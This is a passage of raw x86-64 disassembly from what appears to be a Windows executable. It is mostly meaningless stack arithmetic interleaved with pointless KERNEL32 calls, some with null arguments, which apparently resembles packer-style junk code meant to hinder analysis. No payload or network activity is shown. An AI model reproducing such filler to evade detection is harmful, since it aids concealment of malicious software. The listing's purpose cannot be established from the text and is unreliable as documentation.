mov eax, ecx
mov dword [rsp + 0xdb38], eax
mov rax, qword [rsp + 0x1a518]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdc14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa528], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xddec], eax
movzx eax, word [rsp + 0x3858]
mov rcx, qword [rsp + 0x1a848]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402bf428]
mov word [rcx], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov byte [rsp + 0x8b4], al
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xd5e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdec4], eax
mov rax, qword [rsp + 0x1a200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xda68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1f4], eax
movsx eax, word [0x1402ad8a0]
movsx ecx, word [rsp + 0x3a94]
sub eax, ecx
mov word [rsp + 0x39f4], ax
mov rax, qword [rsp + 0x19a98]
movzx eax, byte [rax]
mov byte [rsp + 0x8b5], al
mov rax, qword [rsp + 0x1a5c0]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7bc], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x308c]
cdq
idiv ecx
mov word [rsp + 0x35fc], ax
mov eax, dword [rsp + 0xdc00]
mov dword [rsp + 0xdecc], eax
mov rax, qword [rsp + 0x1ab68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd7b8]
xor ecx, eax
mov eax, ecx
mov dword [0x1402bf568], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.TgaAd7exqs9trjs6KKezo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ad98], rax
mov rax, qword [rsp + 0x1ad68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xddd0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c78]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0xd6a0]
movzx ecx, al
mov eax, dword [rsp + 0xd640]
shl eax, cl
mov dword [rsp + 0xb2f8], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xce3c], eax
mov edx, 0x1499
mov rcx, qword [rsp + 0x1a348]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd67c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.yqHgbWqnUF0_fKLK7TDi3cAh_afo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ada0], rax
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x788]
imul eax, ecx
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov word [rsp + 0x3b68], ax
mov rax, qword [0x1402bf6c8]
mov ecx, dword [rsp + 0xcdcc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91bc], eax
lea rcx, [rsp + 0x2d770]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd77c], eax
lea rax, [rsp + 0xd1f8]
mov qword [rsp + 0x1ada8], rax
mov eax, dword [rsp + 0xd4a8]
mov ecx, dword [rsp + 0xda44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd570], eax
lea rax, [0x1402ad6b0]
mov qword [0x1402bf378], rax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82c]
add eax, ecx
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0x38e8]
mov word [rsp + 0x3b6c], ax
movsx eax, word [0x1402ad63c]
movsx ecx, word [rsp + 0x3730]
add eax, ecx
mov word [rsp + 0x2860], ax
movsx eax, byte [rsp + 0x867]
movsx ecx, byte [rsp + 0x7cc]
sub eax, ecx
mov byte [rsp + 0x5ea], al
mov rax, qword [0x1402bf3f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf80], eax
mov rax, qword [rsp + 0x1a580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdaa8], eax
mov rax, qword [rsp + 0x1a4c0]
movzx eax, word [rax]
mov word [rsp + 0x3b70], ax
movzx eax, byte [rsp + 0x703]
mov rcx, qword [rsp + 0x1a6b8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7ee], al
mov rax, qword [rsp + 0x1a610]
mov rcx, qword [rsp + 0x1a578]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad6e0], eax
mov eax, dword [rsp + 0x8128]
mov dword [rsp + 0xded0], eax
mov rax, qword [0x1402bf3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa528]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xdaf8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd350], eax
mov eax, dword [rsp + 0xde68]
mov dword [rsp + 0xded4], eax
movzx eax, word [rsp + 0x36e8]
movzx ecx, word [rsp + 0x38c8]
sar eax, cl
mov word [rsp + 0x382c], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
or eax, ecx
mov byte [rsp + 0x716], al
mov rax, qword [rsp + 0x1a268]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a0e8]
mov qword [rsp + 0x1adb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1adb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa4e4], eax
movzx ecx, word [rsp + 0x37d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3b74], ax
mov rax, qword [rsp + 0x1a1e8]
mov ecx, dword [0x1402ad770]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0fc], eax
mov eax, dword [rsp + 0x9c14]
mov dword [rsp + 0xded8], eax
mov eax, dword [rsp + 0xd180]
mov ecx, dword [rsp + 0xdaf4]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad904], eax
mov rax, qword [rsp + 0x1ad78]
mov rcx, qword [rsp + 0x1a6f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8ffc], eax
movsx eax, byte [rsp + 0x8a6]
mov rcx, qword [rsp + 0x1a870]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0x1acd0]
movzx eax, word [rax]
mov word [rsp + 0x3b78], ax
movzx eax, word [rsp + 0x2b88]
mov rcx, qword [0x1402bf598]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3988], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdb04
mov rcx, qword [rsp + 0x1aa60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd304], eax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x874]
add eax, ecx
mov byte [rsp + 0x638], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd4b8], eax
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd660]
mov ecx, dword [rsp + 0xd7bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdd08], eax
movzx eax, word [rsp + 0x3b00]
mov word [rsp + 0x3b7c], ax
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x662]
sub eax, ecx
mov byte [0x1402acc52], al
lea rcx, [rsp + 0x19720]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19b08]
mov ecx, dword [rsp + 0x8f54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaf04], eax
mov eax, dword [rsp + 0xddf0]
mov dword [rsp + 0xdedc], eax
mov eax, dword [rsp + 0xdd64]
mov rcx, qword [rsp + 0x19a30]
mov qword [rsp + 0x1adb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1adb8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd01c], eax
mov eax, dword [rsp + 0xbdd4]
mov ecx, dword [rsp + 0xd7b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x93ac], eax
mov rax, qword [rsp + 0x1a0b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x880], al
movzx eax, word [0x1402ad724]
mov rcx, qword [rsp + 0x19fe0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x22dc], ax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov dword [rsp + 0xdee0], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c00]
mov qword [rsp + 0x1adc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1adc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd418], eax
mov rax, qword [rsp + 0x1a818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3a94]
add eax, ecx
mov word [0x1402ad908], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x198c8]
movzx eax, byte [rax]
mov byte [rsp + 0x8b6], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd040], eax
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acc4a]
add eax, ecx
mov rcx, qword [rsp + 0x1a398]
mov byte [rcx], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2644]
and eax, ecx
mov word [rsp + 0x1b64], ax
mov rax, qword [rsp + 0x19d58]
mov rcx, qword [rsp + 0x19f58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e0c], eax
mov rax, qword [rsp + 0x1a528]
mov rcx, qword [rsp + 0x1ac40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc7e0], eax
mov eax, dword [rsp + 0xd868]
mov dword [rsp + 0xdee4], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc1ac], eax
mov eax, dword [rsp + 0xd9e8]
mov ecx, dword [rsp + 0xd600]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc5c], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov word [rsp + 0x3b80], ax
movzx eax, byte [rsp + 0x7fa]
mov byte [0x1402bf370], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xccc8], eax
mov rax, qword [0x1402bf760]
mov rcx, qword [rsp + 0x1a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd328], eax
mov rax, qword [rsp + 0x1ab30]
mov eax, dword [rax]
mov dword [rsp + 0xdee8], eax
mov rax, qword [rsp + 0x1a328]
mov ecx, dword [rsp + 0xd790]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xbfa4], eax
mov rax, qword [0x1402bf760]
mov rcx, qword [rsp + 0x19bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a968]
mov dword [rcx], eax
lea rax, [rsp + 0x1cf0]
mov qword [rsp + 0x1adc8], rax
mov rax, qword [rsp + 0x1abc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a6c0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x685]
movsx ecx, byte [rsp + 0x6ff]
xor eax, ecx
mov byte [rsp + 0x28b], al
mov rax, qword [rsp + 0x1ab50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3a98]
sar eax, cl
mov word [rsp + 0x35a4], ax
mov eax, dword [rsp + 0xcf54]
mov ecx, dword [rsp + 0xd074]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf3d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xba54]
mov dword [rsp + 0xdeec], eax
movzx eax, byte [rsp + 0x832]
movzx ecx, byte [rsp + 0x888]
shl eax, cl
mov byte [rsp + 0x7e3], al
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
imul eax, eax, 0x478
mov word [rsp + 0x344c], ax
lea rax, [rsp + 0xda48]
mov qword [rsp + 0x1add0], rax
mov rax, qword [rsp + 0x1a368]
mov rcx, qword [rsp + 0x1ad28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd460], eax
mov eax, dword [rsp + 0xba70]
mov dword [rsp + 0xdef0], eax
mov rax, qword [rsp + 0x1a3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbfa4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x414]
sub eax, ecx
mov byte [rsp + 0x662], al
movzx eax, word [rsp + 0x1de0]
movzx ecx, word [rsp + 0x3b28]
imul eax, ecx
mov word [0x1402ad90c], ax
mov eax, dword [rsp + 0xd9d4]
mov ecx, dword [rsp + 0x9208]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa974], eax
mov rax, qword [rsp + 0x1ad78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd568]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc9c], eax
mov eax, dword [rsp + 0xdb1c]
mov dword [rsp + 0xdef4], eax
mov rax, qword [rsp + 0x1a780]
mov ecx, dword [rsp + 0xae80]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a1e8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1ad98]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xdef8], eax
mov rcx, qword [rsp + 0x199c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1a8d8]
mov rcx, qword [0x1402bf5a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdde0], eax
mov rax, qword [rsp + 0x1a8a8]
movzx eax, word [rax]
mov word [rsp + 0x3b84], ax
movsx eax, byte [rsp + 0x1d1]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x800], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2770]
sub eax, ecx
mov word [rsp + 0x1a78], ax
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1ac60]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1402bf490]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ed0]
mov ecx, dword [0x1402ad748]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x1ad50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a150]
mov eax, dword [rax]
mov dword [rsp + 0xdefc], eax
movzx eax, byte [rsp + 0x78e]
movzx ecx, byte [rsp + 0x63e]
sar eax, cl
mov byte [rsp + 0x7b3], al
movzx eax, word [rsp + 0x1f7c]
movzx ecx, word [0x1402bf65c]
xor eax, ecx
mov word [rsp + 0x2204], ax
lea rax, [rsp + 0xd8bc]
mov qword [rsp + 0x1add8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd248], eax
mov rax, qword [rsp + 0x19b08]
mov ecx, dword [rsp + 0xa7a0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xdd30], eax
mov eax, dword [rsp + 0xb6fc]
mov dword [rsp + 0xdf00], eax
mov eax, dword [rsp + 0xcee0]
mov ecx, dword [0x1402ad7c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb9f4], eax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x894]
add eax, ecx
mov byte [0x1402acc6b], al
movzx eax, word [0x1402bf6a4]
movzx ecx, word [rsp + 0x36e8]
sub eax, ecx
mov word [rsp + 0x38b4], ax
mov rax, qword [rsp + 0x1aaa8]
mov ecx, dword [rsp + 0x81d0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbb04], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd370]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdd24], eax
movzx ecx, word [rsp + 0x3a10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3b88], ax
movzx eax, word [rsp + 0x3aac]
mov word [rsp + 0x3b8c], ax
mov rax, qword [rsp + 0x19e30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x840], al
movzx eax, byte [rsp + 0x7f3]
mov rcx, qword [0x1402bf3a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x894], al
movzx ecx, word [rsp + 0x37e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x37e0], ax
movzx eax, word [rsp + 0x3100]
mov word [rsp + 0x3b90], ax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xd958]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc93c], eax
mov rcx, qword [rsp + 0x19bc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd48c], eax
lea rcx, str.9_4DWEg
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3b94], ax
mov rax, qword [rsp + 0x1a178]
mov rcx, qword [rsp + 0x1a760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad86c], eax
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1a4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa764], eax
mov eax, dword [0x1402ad898]
mov rcx, qword [rsp + 0x1ac40]
mov qword [rsp + 0x1ade0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ade0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd2ac], eax
mov eax, dword [rsp + 0xda84]
mov ecx, dword [rsp + 0xdd0c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8578], eax
movzx eax, word [rsp + 0x3734]
mov word [rsp + 0x3b98], ax
movzx eax, byte [rsp + 0x881]
mov rcx, qword [0x1402bf518]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x9a], al
mov eax, dword [rsp + 0xd318]
mov dword [rsp + 0xdf04], eax
mov rax, qword [rsp + 0x1a3a8]
mov rcx, qword [rsp + 0x1a690]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd7e8], eax
lea rax, [rsp + 0xd3d8]
mov qword [rsp + 0x1ade8], rax
mov eax, dword [rsp + 0x91bc]
mov ecx, dword [0x1402ad734]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf648]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x3840]
movzx ecx, word [rsp + 0x34c4]
sub eax, ecx
mov rcx, qword [rsp + 0x19ec0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movzx eax, byte [rsp + 0x7fe]
movzx ecx, byte [rsp + 0x703]
sub eax, ecx
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x89c]
mov byte [rsp + 0x8b7], al
mov rax, qword [rsp + 0x1a7e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2620], ax
mov eax, dword [rsp + 0x8c70]
mov ecx, dword [rsp + 0xcf78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc70], eax
mov eax, dword [rsp + 0x8de8]
mov ecx, dword [rsp + 0xd38c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdab8], eax
movzx eax, byte [rsp + 0x214]
movzx ecx, byte [rsp + 0x3be]
add eax, ecx
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov word [rsp + 0x3b9c], ax
mov eax, dword [rsp + 0xd7c4]
mov dword [0x1402bf36c], eax
mov edx, 0x1bf2
mov rcx, qword [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd338], eax
mov rax, qword [rsp + 0x1a580]
mov rcx, qword [rsp + 0x1a718]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd6ac], eax
lea rax, [0x1402ad694]
mov qword [rsp + 0x1adf0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xdf08], eax
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x377c], ax
mov rax, qword [rsp + 0x1a578]
mov ecx, dword [rsp + 0xd970]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd604], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3ad0]
or eax, ecx
mov word [rsp + 0x3928], ax
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
mov byte [rsp + 0x8b8], al
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd00c]
sar eax, cl
mov dword [rsp + 0xd4f8], eax
lea rax, [rsp + 0x97d4]
mov qword [rsp + 0x1adf8], rax
mov rax, qword [rsp + 0x1a9d8]
mov ecx, dword [0x1402ad6b8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd4c4], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd954]
shl eax, cl
mov dword [0x1402ad910], eax
mov eax, dword [rsp + 0xd21c]
mov ecx, dword [rsp + 0xacd4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd444], eax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1ab50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2468], ax
mov rax, qword [rsp + 0x1a078]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1ac50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7d9], al
movzx eax, word [rsp + 0x35c0]
mov word [rsp + 0x3ba0], ax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85e]
sub eax, ecx
mov byte [rsp + 0x4d7], al
lea rax, [rsp + 0xd30c]
mov qword [rsp + 0x1ae00], rax
mov rax, qword [0x1402bf420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd960], eax
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x387c]
add eax, ecx
mov word [rsp + 0x3900], ax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov byte [0x1402bf47c], al
mov rax, qword [rsp + 0x1a368]
mov eax, dword [rax]
mov dword [rsp + 0xdf0c], eax
mov eax, dword [rsp + 0xdbac]
mov ecx, dword [rsp + 0xd394]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb944]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad3c], eax
mov eax, dword [rsp + 0xdc90]
movzx ecx, al
mov eax, dword [rsp + 0x9a40]
shl eax, cl
mov dword [rsp + 0xd5ac], eax
mov rax, qword [rsp + 0x1a500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a9a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x36a4], ax
movzx eax, byte [0x1402bf711]
mov byte [rsp + 0x8b9], al
mov rax, qword [rsp + 0x1ac00]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xdb0c], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov eax, dword [rsp + 0xda48]
mov dword [rsp + 0xdf10], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xdf14], eax
movsx eax, byte [rsp + 0x13c]
mov rcx, qword [0x1402bf4b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402acc82], al
movsx eax, word [rsp + 0x2d90]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x326c], ax
mov rax, qword [rsp + 0x1a660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x797]
and eax, ecx
mov byte [rsp + 0x832], al
movzx ecx, word [rsp + 0x397c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3938], ax
movzx eax, word [0x1402ad7fc]
movzx ecx, word [rsp + 0x3a6c]
imul eax, ecx
mov word [rsp + 0x1cec], ax
mov rax, qword [rsp + 0x1a968]
mov rcx, qword [rsp + 0x1a528]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc564], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov dword [rsp + 0xdf18], eax
mov rax, qword [rsp + 0x1ac10]
mov ecx, dword [rsp + 0xd478]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1ad30]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcf5c]
mov dword [rsp + 0xdf1c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xdf20], eax
mov rax, qword [rsp + 0x19c10]
mov rcx, qword [0x1402bf5f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd49c], eax
movzx eax, word [rsp + 0x3a44]
mov rcx, qword [rsp + 0x1a1c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d1c], ax
movzx eax, byte [rsp + 0x479]
mov rcx, qword [rsp + 0x1a730]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acbcf], al
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov dword [rsp + 0xdf24], eax
mov eax, dword [rsp + 0xd108]
mov ecx, dword [rsp + 0xd134]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8044], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd230]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b14], eax
lea rcx, [rsp + 0x1a880]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x1a3a8]
mov rcx, qword [rsp + 0x1abe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbc54], eax
mov rax, qword [rsp + 0x1a980]
movzx eax, byte [rax]
imul eax, eax, 0x11
mov byte [rsp + 0x814], al
mov rax, qword [0x1402bf4e8]
movzx eax, word [rax]
mov word [rsp + 0x3ba4], ax
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1ab50]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3524], ax
movzx eax, byte [rsp + 0x4ab]
